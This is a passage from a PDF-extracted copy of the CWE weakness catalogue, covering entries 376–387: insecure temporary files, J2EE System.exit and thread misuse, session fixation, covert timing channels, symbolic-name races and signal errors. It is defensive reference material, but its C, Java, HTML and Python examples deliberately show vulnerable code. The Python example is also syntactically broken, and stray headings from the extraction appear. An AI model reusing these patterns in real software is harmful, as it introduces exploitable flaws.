</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>371</td>
<td>State Issues</td>
<td>699 652</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000 1037</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>849</td>
<td>CERT Java Secure Coding Section 04 - Object Orientation (OBJ)</td>
<td>844 1297</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888 1381</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Mutable object returned</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>OBJ04-J</td>
<td>Provide mutable classes with copy functionality to safely allow passing instances to untrusted code</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>OBJ05-J</td>
<td>Defensively copy private mutable class members before returning their references</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

CWE-376: Temporary File Issues

Category ID: 376 (Category)

Description

Summary

Weaknesses in this category are related to improper handling of temporary files.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>699 627</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
<td>631 983</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>377</td>
<td>Insecure Temporary File</td>
<td>699 657</td>
</tr>
</tbody>
</table>
CWE-377: Insecure Temporary File

Weakness ID: 377 (Weakness Base)  Status: Incomplete

Description

Summary
Creating and using insecure temporary files can leave application and system data vulnerable to attack.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Demonstrative Examples
The following code uses a temporary file for storing intermediate data gathered from the network before it is processed.

C Example:

```c
if (tmpnam_r(filename)) {
    FILE* tmp = fopen(filename,"wb+");
    while((recv(sock,recvbuf,DATA_SIZE, 0) > 0) && (amt!=0)) {amt = fwrite(recvbuf,1,DATA_SIZE,tmp);
}
...```

This otherwise unremarkable code is vulnerable to a number of different attacks because it relies on an insecure method for creating temporary files. The vulnerabilities introduced by this function and others are described in the following sections. The most egregious security problems related to temporary file creation have occurred on Unix-based operating systems, but Windows applications have parallel risks. This section includes a discussion of temporary file creation on both Unix and Windows systems. Methods and behaviors can vary between systems, but the fundamental risks introduced by each are reasonably constant.

Other Notes
Applications require temporary files so frequently that many different mechanisms exist for creating them in the C Library and Windows(R) API. Most of these functions are vulnerable to various forms of attacks.

The functions designed to aid in the creation of temporary files can be broken into two groups based whether they simply provide a filename or actually open a new file. - Group 1: “Unique” Filenames: The first group of C Library and WinAPI functions designed to help with the process of creating temporary files do so by generating a unique file name for a new temporary file, which the program is then supposed to open. This group includes C Library functions like tmpnam(), tempnam(), mktemp() and their C++ equivalents prefaced with an _ (underscore) as well as the GetTempFileName() function from the Windows API. This group of functions suffers from an underlying race condition on the filename chosen. Although the functions guarantee that the filename is unique at the time it is selected, there is no mechanism to prevent another process or
an attacker from creating a file with the same name after it is selected but before the application attempts to open the file. Beyond the risk of a legitimate collision caused by another call to the same function, there is a high probability that an attacker will be able to create a malicious collision because the filenames generated by these functions are not sufficiently randomized to make them difficult to guess. If a file with the selected name is created, then depending on how the file is opened the existing contents or access permissions of the file may remain intact. If the existing contents of the file are malicious in nature, an attacker may be able to inject dangerous data into the application when it reads data back from the temporary file. If an attacker pre-creates the file with relaxed access permissions, then data stored in the temporary file by the application may be accessed, modified or corrupted by an attacker. On Unix based systems an even more insidious attack is possible if the attacker pre-creates the file as a link to another important file. Then, if the application truncates or writes data to the file, it may unwittingly perform damaging operations for the attacker. This is an especially serious threat if the program operates with elevated permissions. Finally, in the best case the file will be opened with the a call to open() using the O_CREAT and O_EXCL flags or to CreateFile() using the CREATE_NEW attribute, which will fail if the file already exists and therefore prevent the types of attacks described above. However, if an attacker is able to accurately predict a sequence of temporary file names, then the application may be prevented from opening necessary temporary storage causing a denial of service (DoS) attack. This type of attack would not be difficult to mount given the small amount of randomness used in the selection of the filenames generated by these functions. - Group 2: "Unique" Files: The second group of C Library functions attempts to resolve some of the security problems related to temporary files by not only generating a unique file name, but also opening the file. This group includes C Library functions like tmpfile() and its C++ equivalents prefaced with an _ (underscore), as well as the slightly better-behaved C Library function mkstemp(). The tmpfile() style functions construct a unique filename and open it in the same way that fopen() would if passed the flags "wb+", that is, as a binary file in read/write mode. If the file already exists, tmpfile() will truncate it to size zero, possibly in an attempt to assuage the security concerns mentioned earlier regarding the race condition that exists between the selection of a supposedly unique filename and the subsequent opening of the selected file. However, this behavior clearly does not solve the function's security problems. First, an attacker can pre-create the file with relaxed access-permissions that will likely be retained by the file opened by tmpfile(). Furthermore, on Unix based systems if the attacker pre-creates the file as a link to another important file, the application may use its possibly elevated permissions to truncate that file, thereby doing damage on behalf of the attacker. Finally, if tmpfile() does create a new file, the access permissions applied to that file will vary from one operating system to another, which can leave application data vulnerable even if an attacker is unable to predict the filename to be used in advance. Finally, mkstemp() is a reasonably safe way create temporary files. It will attempt to create and open a unique file based on a filename template provided by the user combined with a series of randomly generated characters. If it is unable to create such a file, it will fail and return -1. On modern systems the file is opened using mode 0600, which means the file will be secure from tampering unless the user explicitly changes its access permissions. However, mkstemp() still suffers from the use of predictable file names and can leave an application vulnerable to denial of service attacks if an attacker causes mkstemp() to fail by predicting and pre-creating the filenames to be used.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>376</td>
<td>Temporary File Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>964</td>
<td>SFP Secondary Cluster: Exposure Temporary File</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>S</td>
<td>378</td>
<td>Creation of Temporary File With Insecure Permissions</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>S</td>
<td>379</td>
<td>Creation of Temporary File in Directory with Incorrect Permissions</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings
CWE Version 2.11

CWE-378: Creation of Temporary File With Insecure Permissions

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>FIO00-J</td>
<td>Do not operate on files in shared directories</td>
</tr>
</tbody>
</table>

References


CWE-378: Creation of Temporary File With Insecure Permissions

**Weakness ID:** 378 *(Weakness Base)* **Status:** Draft

**Description**

**Summary**

Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

Confidentiality

**Read application data**

If the temporary file can be read by the attacker, sensitive information may be in that file which could be revealed.

Authorization

Other

Other

If that file can be written to by the attacker, the file might be moved into a place to which the attacker does not have access. This will allow the attacker to gain selective resource access-control privileges.

Integrity

Other

Other

Depending on the data stored in the temporary file, there is the potential for an attacker to gain an additional input vector which is trusted as non-malicious. It may be possible to make arbitrary changes to data structures, user information, or even process ownership.

**Likelihood of Exploit**

High

**Demonstrative Examples**

In the following code examples a temporary file is created and written to and after using the temporary file the file is closed and deleted from the file system.

**C/C++ Example:**

```
FILE *stream;
if( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
```
However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

**Java Example:**

```java
try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
    BufferedWriter out = new BufferedWriter(new FileWriter(temp));
    out.write("aString");
    out.close();
} catch (IOException e) {
}
```

Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\Windows\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

**Potential Mitigations**

**Requirements**
Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

**Implementation**
Ensure that you use proper file permissions. This can be achieved by using a safe temp file function. Temporary files should be writable and readable only by the process that owns the file.

**Implementation**
Randomize temporary file names. This can also be achieved by using a safe temp-file function. This will ensure that temporary files will not be created in predictable places.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>376</td>
<td>Temporary File Issues</td>
<td>699 656</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>377</td>
<td>Insecure Temporary File</td>
<td>1000 657</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>964</td>
<td>SFP Secondary Cluster: Exposure Temporary File</td>
<td>888 1383</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Improper temp file opening</td>
</tr>
</tbody>
</table>

**CWE-379: Creation of Temporary File in Directory with Incorrect Permissions**

**Weakness ID: 379 (Weakness Base)**

**Status: Incomplete**

**Description**

**Summary**
The software creates a temporary file in a directory whose permissions allow unintended actors to determine the file’s existence or otherwise access that file.

**Extended Description**
On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system,
the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user’s actions are. From this, higher levels of security could be breached.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

**Confidentiality**

**Read application data**

Since the file is visible and the application which is using the temp file could be known, the attacker has gained information about what the user is doing at that time.

**Likelihood of Exploit**

Low

**Demonstrative Examples**

In the following code examples a temporary file is created and written to and after using the temporary file the file is closed and deleted from the file system.

### C/C++ Example:

```c
FILE *stream;
if ( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();
```

However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

### Java Example:

```java
try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
    BufferedWriter out = new BufferedWriter(new FileWriter(temp));
    out.write("aString");
    out.close();
} catch (IOException e) {
}
```

Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\Windows\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

**Potential Mitigations**

**Requirements**

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.
Implementation
Try to store sensitive tempfiles in a directory which is not world readable -- i.e., per-user directories.

Implementation
Avoid using vulnerable temp file functions.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>376</td>
<td>Temporary File Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>377</td>
<td>Insecure Temporary File</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>964</td>
<td>SFP Secondary Cluster: Exposure Temporary File</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Guessed or visible temporary file</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO15-C</td>
<td>Ensure that file operations are performed in a secure directory</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO43-C</td>
<td>Do not create temporary files in shared directories</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO15-CPP</td>
<td>Ensure that file operations are performed in a secure directory</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO43-CPP</td>
<td>Do not create temporary files in shared directories</td>
</tr>
</tbody>
</table>

References

CWE-380: Technology-Specific Time and State Issues

Category ID: 380 (Category)  Status: Draft

Description

Summary
Weaknesses in this category are related to improper handling of time or state within particular technologies.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>381</td>
<td>J2EE Time and State Issues</td>
<td>699</td>
</tr>
</tbody>
</table>

CWE-381: J2EE Time and State Issues

Category ID: 381 (Category)  Status: Draft

Description

Summary
Weaknesses in this category are related to improper handling of time or state within J2EE.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>380</td>
<td>Technology-Specific Time and State Issues</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>382</td>
<td>J2EE Bad Practices: Use of System.exit()</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>383</td>
<td>J2EE Bad Practices: Direct Use of Threads</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>543</td>
<td>Use of Singleton Pattern Without Synchronization in a Multithreaded Context</td>
<td>699</td>
</tr>
</tbody>
</table>

CWE-382: J2EE Bad Practices: Use of System.exit()

Weakness ID: 382 (Weakness Variant)  Status: Draft
Description

Summary
A J2EE application uses System.exit(), which also shuts down its container.

Extended Description
It is never a good idea for a web application to attempt to shut down the application container. Access to a function that can shut down the application is an avenue for Denial of Service (DoS) attacks.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• Java

Modes of Introduction
A call to System.exit() is probably part of leftover debug code or code imported from a non-J2EE application.

Common Consequences

Availability
DoS: crash / exit / restart

Demonstrative Examples
Included in the doPost() method defined below is a call to System.exit() in the event of a specific exception.

Java Example:

```java
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: "+ ase.toString());
        System.exit(1);
    }
}
```

Potential Mitigations

Architecture and Design
Separation of Privilege
The shutdown function should be a privileged function available only to a properly authorized administrative user

Implementation
Web applications should not call methods that cause the virtual machine to exit, such as System.exit()

Implementation
Web applications should also not throw any Throwables to the application server as this may adversely affect the container.

Implementation
Non-web applications may have a main() method that contains a System.exit(), but generally should not call System.exit() from other locations in the code

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🍒</td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍒</td>
<td>361</td>
<td>Time and State</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍒</td>
<td>381</td>
<td>J2EE Time and State Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍒</td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍒</td>
<td>730</td>
<td>OWASP Top Ten 2004 Category A9 - Denial of Service</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍒</td>
<td>851</td>
<td>CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)</td>
<td>844</td>
</tr>
</tbody>
</table>
**CWE-383: J2EE Bad Practices: Direct Use of Threads**

**Description**

**Summary**

Thread management in a Web application is forbidden in some circumstances and is always highly error prone.

**Extended Description**

Thread management in a web application is forbidden by the J2EE standard in some circumstances and is always highly error prone. Managing threads is difficult and is likely to interfere in unpredictable ways with the behavior of the application container. Even without interfering with the container, thread management usually leads to bugs that are hard to detect and diagnose like deadlock, race conditions, and other synchronization errors.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Java

**Common Consequences**

**Other**

Quality degradation

**Demonstrative Examples**

In the following example, a new Thread object is created and invoked directly from within the body of a `doGet()` method in a Java servlet.

**Java Example:**

```java
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Create a new thread to handle background processing.
    Runnable r = new Runnable() {
        public void run() {
            // Process and store request statistics.
            ...
        }
   );
    new Thread(r).start();
}
```

**Potential Mitigations**

**Architecture and Design**

For EJB, use framework approaches for parallel execution, instead of using threads.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>381</td>
<td>J2EE Time and State Issues</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE-384: Session Fixation

**Description**

**Summary**

Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

**Extended Description**

Such a scenario is commonly observed when:

1. A web application authenticates a user without first invalidating the existing session, thereby continuing to use the session already associated with the user.
2. An attacker is able to force a known session identifier on a user so that, once the user authenticates, the attacker has access to the authenticated session.
3. The application or container uses predictable session identifiers. In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to associate, and possibly authenticate, against the server using that session identifier, giving the attacker access to the user's account through the active session.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

- Languages
  - All

**Common Consequences**

- Access Control
  - Gain privileges / assume identity

**Demonstrative Examples**

**Example 1:**

The following example shows a snippet of code from a J2EE web application where the application authenticates users with `LoginContext.login()` without first calling `HttpSession.invalidate()`.

**Java Example:**

```java
private void auth(LoginContext lc, HttpSession session) throws LoginException {
    ... (
        lc.login();
    ...)
}
```

In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the
pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session. Even given a vulnerable application, the success of the specific attack described here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal.

In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above. The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker.

In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-site scripting or HTTP response splitting vulnerabilities in the target site [12]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker. It is worth noting that cookies are often tied to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as bank.example.com and recipes.example.com, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain example.com [29].

Example 2:
The following example shows a snippet of code from a J2EE web application where the application authenticates users with a direct post to the `<code>j_security_check</code>`, which typically does not invalidate the existing session before processing the login request.

**HTML Example:**
<bad-code>
```html
<form method="POST" action="j_security_check">
  <input type="text" name="j_username">
  <input type="text" name="j_password">
</form>
```
</bad-code>

**Potential Mitigations**

**Architecture and Design**
Invalidate any existing session identifiers prior to authorizing a new user session.

**Architecture and Design**
For platforms such as ASP that do not generate new values for sessionid cookies, utilize a secondary cookie. In this approach, set a secondary cookie on the user's browser to a random value and set a session variable to the same value. If the session variable and the cookie value ever don't match, invalidate the session, and force the user to log on again.

**Other Notes**
Other attack vectors include DNS poisoning and related network based attacks where an attacker causes the user to visit a malicious site by redirecting a request for a valid site. Network based attacks typically involve a physical presence on the victim's network or control of a compromised machine on the network, which makes them harder to exploit remotely, but their significance should not be overlooked. Less secure session management mechanisms, such as the default implementation in Apache Tomcat, allow session identifiers normally expected in a cookie to be specified on the URL as well, which enables an attacker to cause a victim to use a fixed session identifier simply by emailing a malicious URL.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⬠</td>
<td>287</td>
<td>Improper Authentication</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE-385: Covert Timing Channel

**Weakness ID:** 385 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**

Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.

**Extended Description**

In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.

Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

- *Languages*
  - All

**Common Consequences**
CWE-386: Symbolic Name not Mapping to Correct Object

Confidentiality
Other
Read application data
Other
Information exposure.

Likelihood of Exploit
Medium

Demonstrative Examples

Python Example:

```python
def validate_password(actual_pw, typed_pw):
    if len(actual_pw) <> len(typed_pw):
        return 0
    for i in len(actual_pw):
        if actual_pw[i] <> typed_pw[i]:
            return 0
    return 1
```

Bad Code

In this example, the attacker can observe how long an authentication takes when the user types in the correct password. When the attacker tries his own values, he can first try strings of various length. When he finds a string of the right length, the computation will take a bit longer because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when he guesses the first character right, the computation will take longer than when he guesses wrong. Such an attack can break even the most sophisticated password with a few hundred guesses. Note that, in this example, the actual password must be handled in constant time, as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

Potential Mitigations

Architecture and Design
Whenever possible, specify implementation strategies that do not introduce time variances in operations.

Implementation
Often one can artificially manipulate the time which operations take or -- when operations occur -- can remove information from the attacker.

Implementation
It is reasonable to add artificial or random delays so that the amount of CPU time consumed is independent of the action being taken by the application.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>699</td>
<td>627</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>514</td>
<td>Covert Channel</td>
<td>699</td>
<td>860</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>968</td>
<td>SFP Secondary Cluster: Covert Channel</td>
<td>888</td>
<td>1384</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Landwehr</td>
<td>Timing</td>
</tr>
<tr>
<td>CLASP</td>
<td>Covert Timing Channel</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>462</td>
<td>Cross-Domain Search Timing (CAPEC Version 2.10)</td>
</tr>
</tbody>
</table>

CWE-386: Symbolic Name not Mapping to Correct Object

Weakness ID: 386 (Weakness Base)  Status: Draft
Description

Summary
A constant symbolic reference to an object is used, even though the reference can resolve to a
different object over time.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Access Control
Gain privileges / assume identity
The attacker can gain access to otherwise unauthorized resources.

Integrity
Confidentiality
Other
Modify application data
Modify files or directories
Read application data
Read files or directories
Other
Race conditions such as this kind may be employed to gain read or write access to resources not
normally readable or writable by the user in question.

Integrity
Confidentiality
Other
Modify application data
Other
The resource in question, or other resources (through the corrupted one) may be changed in
undesirable ways by a malicious user.

Non-Repudiation
Hide activities
If a file or other resource is written in this method, as opposed to a valid way, logging of the
activity may not occur.

Non-Repudiation
Integrity
Modify files or directories
In some cases it may be possible to delete files that a malicious user might not otherwise have
access to -- such as log files.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>367</td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>486</td>
<td>Comparison of Classes by Name</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>706</td>
<td>Use of Incorrectly-Resolved Name or Reference</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>980</td>
<td>SFP Secondary Cluster: Link in Resource Name Resolution</td>
<td>888</td>
</tr>
<tr>
<td>RequiredBy</td>
<td>B</td>
<td>61</td>
<td>UNIX Symbolic Link (Symlink) Following</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Symbolic name not mapping to correct object</td>
</tr>
</tbody>
</table>
CWE-387: Signal Errors

Category ID: 387 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to the improper handling of signals.

Applicable Platforms

Languages
- C
- C++

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1224</td>
<td>SIGABRT (abort) signal not properly handled, causing core dump.</td>
</tr>
<tr>
<td>CVE-1999-1326</td>
<td>Interruption of operation causes signal to be handled incorrectly, leading to crash.</td>
</tr>
<tr>
<td>CVE-1999-1441</td>
<td>Kernel does not prevent users from sending SIGIO signal, which causes crash in applications that do not handle it. Overlaps privileges.</td>
</tr>
<tr>
<td>CVE-2000-0747</td>
<td>Script sends wrong signal to a process and kills it.</td>
</tr>
<tr>
<td>CVE-2001-1180</td>
<td>Shared signal handlers not cleared when executing a process. Overlaps initialization error.</td>
</tr>
<tr>
<td>CVE-2002-0839</td>
<td>SIGUSR1 can be sent as root from non-root process.</td>
</tr>
<tr>
<td>CVE-2002-2039</td>
<td>unhandled SIGSERV signal allows core dump</td>
</tr>
<tr>
<td>CVE-2004-1014</td>
<td>Remote attackers cause a crash using early connection termination, which generates SIGPIPE signal.</td>
</tr>
<tr>
<td>CVE-2004-2069</td>
